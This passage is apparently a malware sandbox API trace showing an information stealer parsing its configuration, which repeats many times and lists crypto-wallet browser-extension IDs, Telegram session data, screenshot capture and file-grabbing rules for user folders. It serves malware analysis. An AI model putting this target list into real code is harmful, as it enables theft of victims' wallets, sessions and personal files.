Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.593] lstrlenW (lpString="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1980 [0260.593] LocalAlloc (uFlags=0x40, uBytes=0xff8) returned 0x6bc5a0 [0260.593] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.594] LocalFree (hMem=0x6bc5a0) returned 0x0 [0260.594] StrStrW (lpFirst="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.594] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.594] LocalFree (hMem=0x6b9720) returned 0x0 [0260.594] LocalFree (hMem=0x6ba6a0) returned 0x0 [0260.595] LocalFree (hMem=0x6bb620) returned 0x0 [0260.595] StrStrW (lpFirst="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.595] lstrlenW (lpString="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1897 [0260.595] lstrlenW (lpString="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1897 [0260.595] LocalAlloc (uFlags=0x40, uBytes=0xed2) returned 0x6b9720 [0260.595] lstrlenW (lpString="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1897 [0260.595] LocalAlloc (uFlags=0x40, uBytes=0xed2) returned 0x6ba600 [0260.595] lstrlenW (lpString="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1897 [0260.595] LocalAlloc (uFlags=0x40, uBytes=0xed2) returned 0x6bb4e0 [0260.595] StrStrW (lpFirst="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.595] lstrlenW (lpString="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension 